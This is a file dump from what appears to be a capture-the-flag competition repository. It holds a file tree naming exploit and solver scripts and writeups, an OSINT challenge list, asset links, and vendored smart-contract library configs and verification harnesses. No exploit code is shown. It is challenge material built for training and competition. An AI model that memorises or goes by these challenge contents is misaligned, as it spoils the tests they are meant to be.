│ └── supervisord.conf
│ └── htb
│ └── routes.js
└── web
├── web_aurorus_archive
├── README.md
├── assets
│ ├── addm.png
│ ├── bid.png
│ ├── bid_place.png
│ ├── csti.png
│ ├── dash.png
│ ├── flag.png
│ ├── login.png
│ ├── mybid.png
│ ├── oauth_home.png
│ ├── oauth_issue.png
│ ├── pass.png
│ ├── resource.png
│ └── self.png
└── htb
│ ├── exp.py
│ ├── hey.c
│ ├── index.html
│ ├── index.js
│ ├── libhey.so
│ ├── postgres.conf
│ └── words.txt
├── web_eldoria_panel
├── README.md
├── README.pdf
├── assets
│ ├── claim_quest.png
│ ├── login.png
│ ├── overview.png
│ └── register.png
└── htb
│ └── solver.py
├── web_eldoria_realms
├── .gitignore
├── README.md
├── README.pdf
├── assets
│ ├── advanced.png
│ ├── capture.png
│ ├── fellowship.png
│ ├── flag.png
│ ├── live_updates.png
│ ├── overview.png
│ ├── quests.png
│ └── store.png
└── htb
│ └── solver.py
├── web_obsidian_enigma
├── assets
│ ├── 1.png
│ ├── 2.png
│ ├── banner.png
│ └── htb.png
├── htb
│ └── solve.py
└── readme.md
├── web_trial_by_fire
├── .DS_Store
├── README.md
├── assets
│ ├── game.png
│ ├── preview.png
│ └── results.png
├── htb
│ └── solver.py
└── official_writeup.md
└── web_whispers_of_the_moonbeam
├── .DS_Store
├── README.md
├── assets
├── command_output.png
├── flag.png
└── preview.png
└── official_writeup.md
/OSINT/Echoes in Stone/assets/README.md:
--------------------------------------------------------------------------------
1 | Added necessary image for the challenge
2 |
--------------------------------------------------------------------------------
/OSINT/Echoes in Stone/assets/Screenshot (1672).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/OSINT/Echoes in Stone/assets/Screenshot (1672).png
--------------------------------------------------------------------------------
/OSINT/README.md:
--------------------------------------------------------------------------------
1 | 1. **(Very Easy)** The Stone that Whispers
2 | 2. **(Very Easy)** Echoes in Stone
3 | 3. **(Easy)** The Mechanical Birds Nest
4 | 4. **(Easy)** The Hillside Haven
5 | 5. **(Medium)** The Ancient Citadel
6 | 6. **(Medium)** The Shadowed Sigil
7 | 7. **(Medium)** The Poisoned Scroll
8 |
--------------------------------------------------------------------------------
/OSINT/The Mechanical Birds Nest/assets/README.md:
--------------------------------------------------------------------------------
1 | Added image for the Challenge
2 |
--------------------------------------------------------------------------------
/OSINT/The Mechanical Birds Nest/assets/Screenshot (1665).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/OSINT/The Mechanical Birds Nest/assets/Screenshot (1665).png
--------------------------------------------------------------------------------
/OSINT/The Ancient Citadel/assets/README.md:
--------------------------------------------------------------------------------
1 | Image of the challenge that needs to be provided to the players
2 |
--------------------------------------------------------------------------------
/OSINT/The Ancient Citadel/assets/Screenshot (1671).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/OSINT/The Ancient Citadel/assets/Screenshot (1671).png
--------------------------------------------------------------------------------
/OSINT/The Hillside Haven/assets/README.md:
--------------------------------------------------------------------------------
1 | Added image for the challenge
2 |
--------------------------------------------------------------------------------
/OSINT/The Hillside Haven/assets/Screenshot (1733).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/OSINT/The Hillside Haven/assets/Screenshot (1733).png
--------------------------------------------------------------------------------
/OSINT/The Stone That Whispers/assets/11111111111111111111111111111.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/OSINT/The Stone That Whispers/assets/11111111111111111111111111111.png
--------------------------------------------------------------------------------
/OSINT/The Stone That Whispers/assets/README.md:
--------------------------------------------------------------------------------
1 | Picture to upload with the challenge
2 |
--------------------------------------------------------------------------------
/assets/banner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/assets/banner.png
--------------------------------------------------------------------------------
/assets/htb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/assets/htb.png
--------------------------------------------------------------------------------
/assets/logo_htb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/assets/logo_htb.png
--------------------------------------------------------------------------------
/blockchain/EldoriaGate [Medium]/assets/ChallengeBanner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/EldoriaGate [Medium]/assets/ChallengeBanner.png
--------------------------------------------------------------------------------
/blockchain/EldoriaGate [Medium]/assets/EventBanner.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/EldoriaGate [Medium]/assets/EventBanner.jpg
--------------------------------------------------------------------------------
/blockchain/EldoriaGate [Medium]/htb/.gitignore:
--------------------------------------------------------------------------------
1 | venv/
2 |
--------------------------------------------------------------------------------
/blockchain/EldoriaGate [Medium]/htb/requirements.txt:
--------------------------------------------------------------------------------
1 | pwntools
2 | web3
3 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/assets/ChallengeBanner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/assets/ChallengeBanner.png
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/assets/EventBanner.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/assets/EventBanner.jpg
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/.gitignore:
--------------------------------------------------------------------------------
1 | venv/
2 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/foundry.toml:
--------------------------------------------------------------------------------
1 | [profile.default]
2 | src = "src"
3 | out = "out"
4 | libs = ["lib"]
5 |
6 | # See more config options https://github.com/foundry-rs/foundry/blob/master/crates/config/README.md#all-options
7 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/forge-std/.gitattributes:
--------------------------------------------------------------------------------
1 | src/Vm.sol linguist-generated
2 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/forge-std/.gitignore:
--------------------------------------------------------------------------------
1 | cache/
2 | out/
3 | .vscode
4 | .idea
5 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/forge-std/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "forge-std",
3 | "version": "1.9.4",
4 | "description": "Forge Standard Library is a collection of helpful contracts and libraries for use with Forge and Foundry.",
5 | "homepage": "https://book.getfoundry.sh/forge/forge-std",
6 | "bugs": "https://github.com/foundry-rs/forge-std/issues",
7 | "license": "(Apache-2.0 OR MIT)",
8 | "author": "Contributors to Forge Standard Library",
9 | "files": [
10 | "src/**/*"
11 | ],
12 | "repository": {
13 | "type": "git",
14 | "url": "https://github.com/foundry-rs/forge-std.git"
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/forge-std/test/compilation/CompilationScript.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity >=0.6.2 <0.9.0;
3 |
4 | pragma experimental ABIEncoderV2;
5 |
6 | import "../../src/Script.sol";
7 |
8 | // The purpose of this contract is to benchmark compilation time to avoid accidentally introducing
9 | // a change that results in very long compilation times with via-ir. See https://github.com/foundry-rs/forge-std/issues/207
10 | contract CompilationScript is Script {}
11 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/forge-std/test/compilation/CompilationScriptBase.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity >=0.6.2 <0.9.0;
3 |
4 | pragma experimental ABIEncoderV2;
5 |
6 | import "../../src/Script.sol";
7 |
8 | // The purpose of this contract is to benchmark compilation time to avoid accidentally introducing
9 | // a change that results in very long compilation times with via-ir. See https://github.com/foundry-rs/forge-std/issues/207
10 | contract CompilationScriptBase is ScriptBase {}
11 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/forge-std/test/compilation/CompilationTest.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity >=0.6.2 <0.9.0;
3 |
4 | pragma experimental ABIEncoderV2;
5 |
6 | import "../../src/Test.sol";
7 |
8 | // The purpose of this contract is to benchmark compilation time to avoid accidentally introducing
9 | // a change that results in very long compilation times with via-ir. See https://github.com/foundry-rs/forge-std/issues/207
10 | contract CompilationTest is Test {}
11 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/forge-std/test/compilation/CompilationTestBase.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity >=0.6.2 <0.9.0;
3 |
4 | pragma experimental ABIEncoderV2;
5 |
6 | import "../../src/Test.sol";
7 |
8 | // The purpose of this contract is to benchmark compilation time to avoid accidentally introducing
9 | // a change that results in very long compilation times with via-ir. See https://github.com/foundry-rs/forge-std/issues/207
10 | contract CompilationTestBase is TestBase {}
11 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/forge-std/test/fixtures/test.json:
--------------------------------------------------------------------------------
1 | {
2 | "a": 123,
3 | "b": "test",
4 | "c": {
5 | "a": 123,
6 | "b": "test"
7 | }
8 | }
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/forge-std/test/fixtures/test.toml:
--------------------------------------------------------------------------------
1 | a = 123
2 | b = "test"
3 |
4 | [c]
5 | a = 123
6 | b = "test"
7 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.changeset/config.json:
--------------------------------------------------------------------------------
1 | {
2 | "$schema": "https://unpkg.com/@changesets/config@2.3.0/schema.json",
3 | "changelog": [
4 | "@changesets/changelog-github",
5 | {
6 | "repo": "OpenZeppelin/openzeppelin-contracts"
7 | }
8 | ],
9 | "commit": false,
10 | "access": "public",
11 | "baseBranch": "master"
12 | }
13 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.changeset/eighty-hounds-promise.md:
--------------------------------------------------------------------------------
1 | ---
2 | 'openzeppelin-solidity': minor
3 | ---
4 |
5 | `Strings`: Add `parseUint`, `parseInt`, `parseHexUint` and `parseAddress` to parse strings into numbers and addresses. Also provide variants of these functions that parse substrings, and `tryXxx` variants that do not revert on invalid input.
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.changeset/four-chairs-help.md:
--------------------------------------------------------------------------------
1 | ---
2 | "openzeppelin-solidity": minor
3 | ---
4 |
5 | `Clones`: Add `cloneWithImmutableArgs` and `cloneDeterministicWithImmutableArgs` variants that create clones with per-instance immutable arguments. The immutable arguments can be retrieved using `fetchCloneArgs`. The corresponding `predictDeterministicWithImmutableArgs` function is also included.
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.changeset/great-lions-hear.md:
--------------------------------------------------------------------------------
1 | ---
2 | 'openzeppelin-solidity': patch
3 | ---
4 |
5 | `VotesExtended`: Create an extension of `Votes` which checkpoints balances and delegates.
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.changeset/healthy-books-shout.md:
--------------------------------------------------------------------------------
1 | ---
2 | 'openzeppelin-solidity': minor
3 | ---
4 |
5 | `CAIP2` and `CAIP10`: Add libraries for formatting and parsing CAIP-2 and CAIP-10 identifiers.
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.changeset/hot-shrimps-wait.md:
--------------------------------------------------------------------------------
1 | ---
2 | 'openzeppelin-solidity': minor
3 | ---
4 |
5 | `Packing`: Add variants for packing `bytes10` and `bytes22`
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.changeset/lovely-dodos-lay.md:
--------------------------------------------------------------------------------
1 | ---
2 | 'openzeppelin-solidity': minor
3 | ---
4 |
5 | `NoncesKeyed`: Add a variant of `Nonces` that implements the ERC-4337 entrypoint nonce system.
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.changeset/pink-wasps-hammer.md:
--------------------------------------------------------------------------------
1 | ---
2 | 'openzeppelin-solidity': patch
3 | ---
4 |
5 | `GovernorCountingOverridable`: Add a governor counting module that enables token holders to override the vote of their delegate.
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.changeset/proud-planes-arrive.md:
--------------------------------------------------------------------------------
1 | ---
2 | 'openzeppelin-solidity': minor
3 | ---
4 |
5 | `Bytes`: Add a library of common operations that operate on `bytes` objects.
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.changeset/seven-donkeys-tap.md:
--------------------------------------------------------------------------------
1 | ---
2 | 'openzeppelin-solidity': patch
3 | ---
4 |
5 | Update some pragma directives to ensure that all file requirements match that of the files they import.
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.changeset/small-seahorses-bathe.md:
--------------------------------------------------------------------------------
1 | ---
2 | 'openzeppelin-solidity': minor
3 | ---
4 |
5 | `ERC7579Utils`: Add a reusable library to interact with ERC-7579 modular accounts
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.changeset/tricky-bats-pretend.md:
--------------------------------------------------------------------------------
1 | ---
2 | 'openzeppelin-solidity': minor
3 | ---
4 |
5 | `ERC1363Utils`: Add helper similar to the existing `ERC721Utils` and `ERC1155Utils`
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.changeset/weak-roses-bathe.md:
--------------------------------------------------------------------------------
1 | ---
2 | 'openzeppelin-solidity': minor
3 | ---
4 |
5 | `ERC4337Utils`: Add a reusable library to manipulate user operations and interact with ERC-4337 contracts
6 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.codecov.yml:
--------------------------------------------------------------------------------
1 | comment: off
2 | github_checks:
3 | annotations: false
4 | coverage:
5 | status:
6 | patch:
7 | default:
8 | target: 95%
9 | only_pulls: true
10 | project:
11 | default:
12 | threshold: 1%
13 | ignore:
14 | - "test"
15 | - "contracts/mocks"
16 | - "contracts/vendor"
17 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.editorconfig:
--------------------------------------------------------------------------------
1 | # EditorConfig is awesome: https://EditorConfig.org
2 |
3 | # top-most EditorConfig file
4 | root = true
5 |
6 | [*]
7 | charset = utf-8
8 | end_of_line = lf
9 | indent_style = space
10 | insert_final_newline = true
11 | trim_trailing_whitespace = false
12 | max_line_length = 120
13 |
14 | [*.sol]
15 | indent_size = 4
16 |
17 | [*.js]
18 | indent_size = 2
19 |
20 | [*.{adoc,md}]
21 | max_line_length = 0
22 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.githooks/pre-push:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 |
3 | set -euo pipefail
4 |
5 | if [ "${CI:-"false"}" != "true" ]; then
6 | npm run test:generation
7 | npm run lint
8 | fi
9 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.github/ISSUE_TEMPLATE/config.yml:
--------------------------------------------------------------------------------
1 | blank_issues_enabled: false
2 | contact_links:
3 | - name: Bug Reports & Feature Requests
4 | url: https://github.com/OpenZeppelin/openzeppelin-contracts/issues/new/choose
5 | about: Visit the OpenZeppelin Contracts repository
6 | - name: Questions & Support Requests
7 | url: https://forum.openzeppelin.com/c/support/contracts/18
8 | about: Ask in the OpenZeppelin Forum
9 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.github/workflows/docs.yml:
--------------------------------------------------------------------------------
1 | name: Build Docs
2 |
3 | on:
4 | push:
5 | branches: [release-v*]
6 |
7 | permissions:
8 | contents: write
9 |
10 | jobs:
11 | build:
12 | runs-on: ubuntu-latest
13 | steps:
14 | - uses: actions/checkout@v4
15 | - name: Set up environment
16 | uses: ./.github/actions/setup
17 | - run: bash scripts/git-user-config.sh
18 | - run: node scripts/update-docs-branch.js
19 | - run: git push --all origin
20 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.gitmodules:
--------------------------------------------------------------------------------
1 | [submodule "lib/forge-std"]
2 | branch = v1
3 | path = lib/forge-std
4 | url = https://github.com/foundry-rs/forge-std
5 | [submodule "lib/erc4626-tests"]
6 | path = lib/erc4626-tests
7 | url = https://github.com/a16z/erc4626-tests.git
8 | [submodule "lib/halmos-cheatcodes"]
9 | path = lib/halmos-cheatcodes
10 | url = https://github.com/a16z/halmos-cheatcodes
11 | [submodule "lib/openzeppelin-contracts"]
12 | path = lib/openzeppelin-contracts
13 | url = https://github.com/OpenZeppelin/openzeppelin-contracts.git
14 | branch = master
15 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.mocharc.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | require: 'hardhat/register',
3 | timeout: 4000,
4 | };
5 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.prettierrc:
--------------------------------------------------------------------------------
1 | {
2 | "printWidth": 120,
3 | "singleQuote": true,
4 | "trailingComma": "all",
5 | "arrowParens": "avoid",
6 | "overrides": [
7 | {
8 | "files": "*.sol",
9 | "options": {
10 | "singleQuote": false
11 | }
12 | }
13 | ],
14 | "plugins": ["prettier-plugin-solidity"]
15 | }
16 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/.solcover.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | norpc: true,
3 | testCommand: 'npm test',
4 | compileCommand: 'npm run compile',
5 | skipFiles: ['mocks'],
6 | providerOptions: {
7 | default_balance_ether: '10000000000000000000000000',
8 | },
9 | mocha: {
10 | fgrep: '[skip-on-coverage]',
11 | invert: true,
12 | },
13 | // Work around stack too deep for coverage
14 | configureYulOptimizer: true,
15 | solcOptimizerDetails: {
16 | yul: true,
17 | yulDetails: {
18 | optimizerSteps: '',
19 | },
20 | },
21 | };
22 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/FUNDING.json:
--------------------------------------------------------------------------------
1 | {
2 | "drips": {
3 | "ethereum": {
4 | "ownedBy": "0xAeb37910f93486C85A1F8F994b67E8187554d664"
5 | }
6 | }
7 | }
8 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/audits/2018-10.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/audits/2018-10.pdf
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/audits/2022-10-Checkpoints.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/audits/2022-10-Checkpoints.pdf
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/audits/2022-10-ERC4626.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/audits/2022-10-ERC4626.pdf
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/audits/2023-05-v4.9.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/audits/2023-05-v4.9.pdf
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/audits/2023-10-v5.0.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/audits/2023-10-v5.0.pdf
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/audits/2024-10-v5.1.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/audits/2024-10-v5.1.pdf
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/.gitignore:
--------------------------------------------------------------------------------
1 | patched
2 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/harnesses/AccessControlHarness.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8.20;
3 |
4 | import {AccessControl} from "../patched/access/AccessControl.sol";
5 |
6 | contract AccessControlHarness is AccessControl {}
7 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/harnesses/ERC20PermitHarness.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8.20;
3 |
4 | import {ERC20Permit, ERC20} from "../patched/token/ERC20/extensions/ERC20Permit.sol";
5 |
6 | contract ERC20PermitHarness is ERC20Permit {
7 | constructor(string memory name, string memory symbol) ERC20(name, symbol) ERC20Permit(name) {}
8 |
9 | function mint(address account, uint256 amount) external {
10 | _mint(account, amount);
11 | }
12 |
13 | function burn(address account, uint256 amount) external {
14 | _burn(account, amount);
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/harnesses/ERC3156FlashBorrowerHarness.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 |
3 | import {IERC3156FlashBorrower} from "../patched/interfaces/IERC3156FlashBorrower.sol";
4 |
5 | pragma solidity ^0.8.20;
6 |
7 | contract ERC3156FlashBorrowerHarness is IERC3156FlashBorrower {
8 | bytes32 somethingToReturn;
9 |
10 | function onFlashLoan(address, address, uint256, uint256, bytes calldata) external view override returns (bytes32) {
11 | return somethingToReturn;
12 | }
13 | }
14 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/harnesses/ERC721ReceiverHarness.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 |
3 | pragma solidity ^0.8.20;
4 |
5 | import "../patched/interfaces/IERC721Receiver.sol";
6 |
7 | contract ERC721ReceiverHarness is IERC721Receiver {
8 | function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {
9 | return this.onERC721Received.selector;
10 | }
11 | }
12 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/harnesses/NoncesHarness.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8.20;
3 |
4 | import {Nonces} from "../patched/utils/Nonces.sol";
5 |
6 | contract NoncesHarness is Nonces {
7 | function useNonce(address account) external returns (uint256) {
8 | return _useNonce(account);
9 | }
10 |
11 | function useCheckedNonce(address account, uint256 nonce) external {
12 | _useCheckedNonce(account, nonce);
13 | }
14 | }
15 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/harnesses/Ownable2StepHarness.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8.20;
3 |
4 | import {Ownable2Step, Ownable} from "../patched/access/Ownable2Step.sol";
5 |
6 | contract Ownable2StepHarness is Ownable2Step {
7 | constructor(address initialOwner) Ownable(initialOwner) {}
8 |
9 | function restricted() external onlyOwner {}
10 | }
11 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/harnesses/OwnableHarness.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8.20;
3 |
4 | import {Ownable} from "../patched/access/Ownable.sol";
5 |
6 | contract OwnableHarness is Ownable {
7 | constructor(address initialOwner) Ownable(initialOwner) {}
8 |
9 | function restricted() external onlyOwner {}
10 | }
11 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/harnesses/PausableHarness.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8.20;
3 |
4 | import {Pausable} from "../patched/utils/Pausable.sol";
5 |
6 | contract PausableHarness is Pausable {
7 | function pause() external {
8 | _pause();
9 | }
10 |
11 | function unpause() external {
12 | _unpause();
13 | }
14 |
15 | function onlyWhenPaused() external whenPaused {}
16 |
17 | function onlyWhenNotPaused() external whenNotPaused {}
18 | }
19 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/harnesses/TimelockControllerHarness.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8.20;
3 |
4 | import {TimelockController} from "../patched/governance/TimelockController.sol";
5 |
6 | contract TimelockControllerHarness is TimelockController {
7 | constructor(
8 | uint256 minDelay,
9 | address[] memory proposers,
10 | address[] memory executors,
11 | address admin
12 | ) TimelockController(minDelay, proposers, executors, admin) {}
13 | }
14 |
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/reports/2021-10.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/reports/2021-10.pdf
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/reports/2022-03.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/reports/2022-03.pdf
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/reports/2022-05.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/reports/2022-05.pdf
--------------------------------------------------------------------------------
/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/certora/specs/methods/IAccessControl.spec:
--------------------------------------------------------------------------------
1 | methods {
